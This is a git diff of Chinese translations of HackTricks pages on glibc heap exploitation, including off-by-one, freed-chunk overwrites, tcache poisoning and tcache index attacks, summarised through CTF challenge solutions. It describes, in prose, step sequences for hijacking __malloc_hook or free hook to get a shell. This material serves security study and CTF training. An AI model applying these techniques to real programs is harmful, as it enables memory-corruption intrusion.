{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享您的黑客技巧。**
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
仅具有1B溢出访问权限的攻击者可以修改下一个块的`size`字段。这允许篡改实际释放的块,可能生成包含另一个合法块的块。利用类似于[双重释放](double-free.md)或重叠块。
|
||||
仅具有1字节溢出的访问权限允许攻击者修改下一个块的`size`字段。这允许篡改实际上被释放的块,可能生成包含另一个合法块的块。利用类似于[双重释放](double-free.md)或重叠块。
|
||||
|
||||
有两种类型的off by one漏洞:
|
||||
|
||||
|
@ -57,7 +58,7 @@ return 0;
|
|||
|
||||
### 目标
|
||||
|
||||
* 使一个块被包含在另一个块内,因此对第二个块的写访问允许覆盖被包含的块
|
||||
* 使一个块被包含在另一个块内,因此对第二个块的写访问允许覆盖包含的块
|
||||
|
||||
### 要求
|
||||
|
||||
|
@ -65,17 +66,17 @@ return 0;
|
|||
|
||||
### 一般的 off-by-one 攻击
|
||||
|
||||
* 分配三个块 `A`、`B` 和 `C`(假设大小为 0x20),以及另一个块以防止与顶部块合并。
|
||||
* 分配三个块 `A`、`B` 和 `C`(假设大小为 0x20),另外再分配一个块以防止与顶部块合并。
|
||||
* 释放 `C`(插入到 0x20 Tcache 空闲列表中)。
|
||||
* 使用块 `A` 对 `B` 进行溢出。滥用 off-by-one 将 `B` 的 `size` 字段从 0x21 修改为 0x41。
|
||||
* 现在我们有 `B` 包含了空闲块 `C`
|
||||
* 释放 `B` 并分配一个 0x40 块(它将再次放置在这里)
|
||||
* 我们可以修改仍然空闲的 `C` 的 `fd` 指针(Tcache 毒化)
|
||||
* 我们可以修改仍然空闲的 `C` 的 `fd` 指针(Tcache 污染)
|
||||
|
||||
### Off-by-null 攻击
|
||||
|
||||
* 依次保留 3 个内存块(a、b、c)。然后释放中间的块。第一个包含一个 off by one 溢出漏洞,攻击者利用它使用 0x00(如果前一个字节是 0x10,则会使中间块指示它比实际小 0x10)。
|
||||
* 然后,在中间释放的块(b)中分配了另外 2 个较小的块,但是由于 `b + b->size` 从未更新 c 块,因为指向的地址比应该的小。
|
||||
* 依次保留三个内存块(a、b、c)。然后释放中间的块。第一个块包含一个 off by one 溢出漏洞,攻击者利用它使用 0x00(如果前一个字节是 0x10,则会使中间块指示它比实际小 0x10)。
|
||||
* 然后,在中间释放的块(b)中分配了另外两个较小的块,但是由于 `b + b->size` 从未更新 c 块,因为指向的地址比应该的小。
|
||||
* 然后,b1 和 c 被释放。由于 `c - c->prev_size` 仍然指向 b(现在是 b1),两者被合并为一个块。但是,b2 仍然在 b1 和 c 之间。
|
||||
* 最后,执行新的 malloc 以重新获取这块内存区域,实际上将包含 b2,从而允许新 malloc 的所有者控制 b2 的内容。
|
||||
|
||||
|
@ -88,7 +89,7 @@ return 0;
|
|||
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
|
||||
* 由于 `strlen` 考虑到下一个块的 `size` 字段,发生 off-by-one。
|
||||
* 正在使用 Tcache,因此一般的 off-by-one 攻击可用于通过 Tcache 毒化获得任意写入原语。
|
||||
* 正在使用 Tcache,因此一般的 off-by-one 攻击可用于通过 Tcache 污染获得任意写入原语。
|
||||
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
|
||||
* 可以滥用 off by one 来从堆中泄漏地址,因为字符串末尾的字节 0x00 被下一个字段覆盖。
|
||||
* 通过滥用 off by one 写入来获得任意写入,使指针指向将构建具有虚假指针的虚假结构的另一个位置成为可能。然后,可以跟随此结构的指针以获得任意写入。
|
||||
|
@ -103,7 +104,7 @@ return 0;
|
|||
* chunk3(0x1f8)
|
||||
* chunk4(0xf0)
|
||||
* chunk defense(0x400)以避免与顶部块合并
|
||||
* 然后释放 chunk 1、5 和 3,因此:
|
||||
* 然后释放了 chunk 1、5 和 3,因此:
|
||||
* ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
|
@ -116,9 +117,23 @@ return 0;
|
|||
* ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
* 然后,分配 `0x200` 字节填充原始块 1
|
||||
* 然后分配另外 0x200 字节,破坏 chunk2,因此没有泄漏,这不起作用?也许不应该这样做
|
||||
* 然后,分配一个具有 0x58 个“a”的块(覆盖 chunk2 并到达 chunk5),并修改指向 `__malloc_hook` 的快速 bin 块的 `fd`
|
||||
* 然后,分配一个 0x68 的块,因此 `__malloc_hook` 中的虚假快速 bin 块是以下快速 bin 块
|
||||
* 最后,分配一个新的 0x68 的快速 bin 块,并用 `one_gadget` 地址覆盖 `__malloc_hook`
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **的 GitHub 存储库提交 PR 来分享您的黑客技巧。**
|
||||
* 然后,分配了 `0x200` 字节填充原始块 1
|
||||
* 然后分配了另外 0x200 字节,破坏了 chunk2,因此没有泄漏,这不起作用?也许不应该这样做
|
||||
* 然后,分配了一个包含 0x58 个“a”的块(覆盖了 chunk2 并达到 chunk5),并修改了指向 `__malloc_hook` 的快速 bin 块的 `fd`
|
||||
* 然后,分配了一个 0x68 的块,因此 `__malloc_hook` 中的虚假快速 bin 块是以下快速 bin 块
|
||||
* 最后,分配了一个新的 0x68 的快速 bin 块,并用 `one_gadget` 地址覆盖了 `__malloc_hook`
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **的 GitHub 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,47 +1,49 @@
|
|||
# 覆盖已释放的块
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
提出的堆利用技术中,有几种需要能够覆盖已释放块内部指针的技术。本页的目标是总结可能导致此访问权限的潜在漏洞:
|
||||
|
||||
### 简单的使用后释放
|
||||
### 简单的重复释放后使用
|
||||
|
||||
如果攻击者可以**在一个空闲块中写入信息**,他们可以滥用此功能来覆盖所需的指针。
|
||||
|
||||
### 双重释放
|
||||
|
||||
如果攻击者可以**两次`free`相同的块**(在中间释放其他块),并使其**在同一个bin中两次**,用户将有可能**稍后分配该块**,**写入所需的指针**,然后**再次分配它**,触发分配块的操作(例如快速bin攻击,tcache攻击...)
|
||||
如果攻击者可以**两次`free`相同的块**(在中间释放其他块),并使其**在同一个 bin 中出现 2 次**,用户将有可能**稍后分配该块**,**写入所需的指针**,然后**再次分配**它,触发分配块的操作(例如快速 bin 攻击,tcache 攻击...)
|
||||
|
||||
### 堆溢出
|
||||
|
||||
可能会**溢出一个已分配的块,其后是一个已释放的块**,并修改其一些头部/指针。
|
||||
可能会**溢出已分配的块,接下来是一个已释放的块**,并修改其一些头部/指针。
|
||||
|
||||
### Off-by-one溢出
|
||||
### Off-by-one 溢出
|
||||
|
||||
在这种情况下,可能会**修改内存中下一个块的大小**。攻击者可以滥用此功能来**使一个已分配的块具有更大的大小**,然后**`free`**它,使该块被添加到一个不同大小(更大)的bin中,然后分配**虚假大小**,攻击者将能够访问一个**比实际更大的大小**的块,因此授予了重叠块的情况,可以像**堆溢出**一样利用(请查看前面的部分)。
|
||||
在这种情况下,可能会**修改内存中下一个块的大小**。攻击者可以滥用此功能来**使一个已分配的块具有更大的大小**,然后**`free`**它,使该块被**添加到不同大小的 bin**(更大),然后分配**伪造的大小**,攻击将获得一个**比实际更大的大小**的块,因此授予了重叠块的情况,可以像**堆溢出**一样利用(请查看前面的部分)。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,69 +1,70 @@
|
|||
# Tcache Bin Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 **HackTricks** 和 **HackTricks Cloud** 的 github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
有关Tcache bin的更多信息,请查看此页面:
|
||||
有关 Tcache bin 是什么,请查看此页面:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
首先,请注意Tcache是在Glibc版本2.26中引入的。
|
||||
首先,请注意 Tcache 是在 Glibc 版本 2.26 中引入的。
|
||||
|
||||
[**guyinatuxido页面**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html)提出的**Tcache攻击**(也称为**Tcache毒化**)与快速bin攻击非常相似,其目标是覆盖在释放的块中的bin内下一个块的指针到任意地址,以便稍后**分配该特定地址并潜在地覆盖指针**。
|
||||
**Tcache 攻击**(也称为 **Tcache 毒化**)在 [**guyinatuxido 页面**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) 中提出,与快速 bin 攻击非常相似,目标是覆盖已释放块内的 bin 中下一个块的指针到任意地址,以便稍后**分配该特定地址并潜在地覆盖指针**。
|
||||
|
||||
然而,现在,如果运行上述代码,将会收到错误:**`malloc(): unaligned tcache chunk detected`**。因此,需要在新指针中写入对齐的地址(或者执行足够多次二进制文件,以便写入的地址实际上是对齐的)。
|
||||
然而,现在,如果运行上述代码,将会收到错误:**`malloc(): unaligned tcache chunk detected`**。因此,需要在新指针中写入对齐的地址(或者执行足够多次二进制文件,以便实际对齐写入的地址)。
|
||||
|
||||
### Tcache索引攻击
|
||||
### Tcache 索引攻击
|
||||
|
||||
通常可以在堆的开头找到一个包含Tcache中**每个索引的块数量**和**每个Tcache索引的头块地址**的块。如果由于某种原因可以修改此信息,则可以**使某个索引的头块指向所需地址**(如`__malloc_hook`),然后分配一个与索引大小相同的块并覆盖`__malloc_hook`的内容。
|
||||
通常可以在堆的开头找到一个包含 Tcache 中**每个索引的块数量**和**每个 Tcache 索引的头块地址**的块。如果由于某种原因可以修改此信息,则可以**使某个索引的头块指向所需地址**(如 `__malloc_hook`),然后分配一个与索引大小相同的块并覆盖此处的 `__malloc_hook` 内容。
|
||||
|
||||
## 示例
|
||||
|
||||
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
|
||||
* **Libc信息泄漏**:可以填充tcaches,将一个块添加到未排序列表中,清空tcache,然后**从未排序bin中重新分配该块**,仅覆盖前8B,保留块的第二个地址到libc的地址,以便读取它。
|
||||
* **Tcache攻击**:二进制文件存在1B堆溢出漏洞。这将被利用来更改已分配块的**大小标头**,使其更大。然后,释放此块,将其添加到具有虚假大小的块的tcache中。然后,我们将分配一个具有伪造大小的块,前一个块将被**返回,知道该块实际上更小**,这为**覆盖内存中的下一个块**提供了机会。\
|
||||
我们将利用此来**覆盖下一个块的FD指针**指向**`malloc_hook`**,然后可以分配2个指针:首先是我们刚修改的合法指针,然后第二次分配将返回一个在**`malloc_hook`**中的块,可以利用它来编写**一个gadget**。
|
||||
* **Libc 信息泄漏**:可以填充 tcaches,将一个块添加到未排序列表中,清空 tcache 并**重新分配未排序 bin 中的块**,仅覆盖前 8B,保留块的第二个地址到 libc 的地址,以便读取它。
|
||||
* **Tcache 攻击**:二进制文件存在 1B 堆溢出漏洞。这将被利用来更改已分配块的**大小标头**,使其更大。然后,释放此块,将其添加到具有虚假大小的块的 tcache 中。然后,我们将分配一个具有伪造大小的块,前一个块将**返回,知道此块实际上更小**,这为**覆盖内存中的下一个块**提供了机会。\
|
||||
我们将利用此来**覆盖下一个块的 FD 指针**指向**`malloc_hook`**,然后可以分配 2 个指针:首先是我们刚修改的合法指针,然后第二次分配将返回一个在**`malloc_hook`**中的块,可以利用它来编写**一个 gadget**。
|
||||
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
|
||||
* **Libc信息泄漏**:存在使用后释放和双重释放。在此解决方案中,作者通过从小bin中读取一个块的地址泄漏了libc的地址(类似于从未排序bin中泄漏)。
|
||||
* **Tcache攻击**:通过**双重释放**执行Tcache。同一块被释放两次,因此在Tcache内,该块将指向自身。然后,它被分配,其FD指针被修改为指向**free hook**,然后再次分配,因此列表中的下一个块将位于free hook。然后,这也被分配,可以在此处写入`system`的地址,因此当包含`"/bin/sh"`的malloc被释放时,我们将获得一个shell。
|
||||
* **Libc 信息泄漏**:存在使用后释放和双重释放。在此解决方案中,作者通过读取放置在小 bin 中的块的地址泄漏了 libc 的地址(类似于从未排序 bin 中泄漏,但是从小 bin 中泄漏)。
|
||||
* **Tcache 攻击**:通过**双重释放**执行 Tcache。同一块被释放两次,因此在 Tcache 中,该块将指向自身。然后,它被分配,其 FD 指针被修改为指向**free hook**,然后再次分配,因此列表中的下一个块将在 free hook 中。然后,这也被分配,可以在此处写入 `system` 的地址,因此当包含 `"/bin/sh"` 的 malloc 被释放时,我们就获得了 shell。
|
||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
|
||||
* 主要漏洞是可以通过指定其偏移量来`free`堆中的任何地址
|
||||
* **Tcache索引攻击**:可以分配和释放一个大小的块,当存储在tcache块中(包含tcache bin信息的块)时,将生成一个值为0x100的地址。这是因为tcache在不同字节中存储每个bin中的块数量,因此一个特定索引中的一个块会生成值0x100。
|
||||
* 然后,此值看起来像是一个大小为0x100的块。通过`free`此地址,将**将该地址添加到tcache中大小为0x100的块的索引**中。
|
||||
* 然后,**分配**一个大小为**0x100**的块,前一个地址将作为一个块返回,允许覆盖其他tcache索引。\
|
||||
例如,将malloc hook的地址放入其中一个,并分配该索引大小的块将授予一个在calloc hook中的块,从而允许编写一个gadget以获得一个shell。
|
||||
* **Tcache 索引攻击**:可以分配和释放一个大小的块,当存储在 tcache 块中(包含 tcache bin 信息的块)时,将生成一个值为 0x100 的地址。这是因为 tcache 在不同字节中存储每个 bin 中的块数量,因此一个特定索引中的一个块会生成值 0x100。
|
||||
* 然后,此值看起来像是一个大小为 0x100 的块。通过`free`此地址,将**将该地址添加到 tcache 中大小为 0x100 的块的索引**。
|
||||
* 然后,**分配**一个大小为**0x100**的块,前一个地址将作为一个块返回,允许覆盖其他 tcache 索引。\
|
||||
例如,将 malloc hook 的地址放入其中一个索引中,并分配该索引大小的块,将授予 calloc hook 中的一个块,从而允许编写一个 gadget 以获得 shell。
|
||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
|
||||
* 与之前相同的漏洞,但有一个额外的限制
|
||||
* **Tcache索引攻击**:类似于前一个攻击,但使用更少的步骤,通过**释放包含tcache信息的块**,使其地址添加到其大小的tcache索引中,因此可以分配该大小并将tcache块信息作为一个块返回,从而将free hook添加为一个索引的地址,分配它,并在其上编写一个gadget。
|
||||
* **Tcache 索引攻击**:类似于前一个攻击,但使用更少的步骤,通过**释放包含 tcache 信息的块**,使其地址添加到其大小的 tcache 索引中,因此可以分配该大小并将 tcache 块信息作为一个块,从而将 free hook 添加为一个索引的地址,分配它,并在其上编写一个 gadget。
|
||||
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
* **释放后写入** 以将数字添加到`fd`指针。
|
||||
* 在这个挑战中需要大量的**堆布局**。解决方案展示了如何非常方便地**控制Tcache的自由列表头**。
|
||||
* 通过`stdout`(FSOP)进行**Glibc泄漏**。
|
||||
* **Tcache毒化** 以获得任意写入权限。
|
||||
* **Write After Free** 以将数字添加到 `fd` 指针。
|
||||
* 在此挑战中需要大量的**堆 feng-shui**。解决方案展示了如何非常方便地**控制 Tcache 自由列表的头部**。
|
||||
* 通过 `stdout`(FSOP)进行**Glibc 泄漏**。
|
||||
* **Tcache 毒化** 以获得任意写入原语。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram 群组**](https://t.me/peass) 或者在 **Twitter** 🐦 上 **关注** 我们 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram 群组**](https://t.me/peass) 或者在 **Twitter** 上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Unlink 攻击
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
|
||||
* 如果您想看到您的公司在 HackTricks 中被广告,或者**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
